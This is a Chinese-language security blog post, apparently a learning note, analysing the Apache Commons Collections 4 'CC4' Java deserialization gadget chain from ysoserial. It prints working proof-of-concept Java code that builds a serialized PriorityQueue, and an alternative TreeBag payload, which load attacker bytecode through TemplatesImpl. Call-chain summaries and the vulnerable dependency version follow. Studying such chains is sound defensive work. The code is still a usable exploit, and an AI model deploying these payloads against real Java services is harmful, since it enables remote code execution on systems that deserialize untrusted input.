CC4
是 CC2
的一个变种,用 PriorityQueue
的 TransformingComparator
触发 ChainedTransformer
,再利用 InstantiateTransformer
实例化 TemplatesImpl
,排列组合了属于是。
su18提到PriorityQueue
的替代链 TreeBag
,感兴趣可以去看一下。
POC
ysoserial CC4 POC
CC4用到的都是之前的内容,直接放代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class CC4 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
protected static byte[] getBytescode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); return clazz.toBytecode(); } public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}) });
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue<String> queue = new PriorityQueue<>(2,comparator); queue.add("1"); queue.add("2"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
TreeBag POC
su18使用 TreeBag
& TreeMap
构造的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class CC4CC4WithTreeBag { ... public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{}); TransformingComparator comparator = new TransformingComparator(transformer);
TreeBag tree = new TreeBag(comparator); tree.add(obj);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName"); field.setAccessible(true); field.set(transformer, "newTransformer"); ... } }
|
总结
ysoserial CC4
利用说明:
使用 PriorityQueue
反序列化时触发的 TransformingComparator
的 compare
方法,就会触发 ChainedTransformer
的 tranform
方法链,其中利用 InstantiateTransformer
实例化 TrAXFilter
类,此类实例化时会调用 TemplatesImpl
的 newTransformer
实例化恶意类,执行恶意代码。
1 2 3 4
| Gadget 总结: kick-off gadget:java.util.PriorityQueue#readObject() chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform() sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
|
1 2 3 4 5 6 7
| 调用链展示: PriorityQueue.readObject() TransformingComparator.compare() *ChainedTransformer.transform() InvokerTransformer.transform() InstantiateTransformer.transform() TemplatesImpl.newTransformer()
|
TreeBag
利用说明:
用 TreeBag
代替 PriorityQueue
触发 TransformingComparator
,后续依旧使用 Transformer
的调用链。
1 2 3 4
| Gadget 总结: kick-off gadget:org.apache.commons.collections4.bag.TreeBag#readObject chain gadget:java.util.TreeMap#put() sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
|
1 2 3 4 5 6 7
| 调用链展示: org.apache.commons.collections4.bag.TreeBag.readObject() org.apache.commons.collections4.bag.AbstractMapBag.doReadObject() java.util.TreeMap.put() java.util.TreeMap.compare() org.apache.commons.collections4.comparators.TransformingComparator.compare() org.apache.commons.collections4.functors.InvokerTransformer.transform()
|
依赖版本
commons-collections4 : 4.0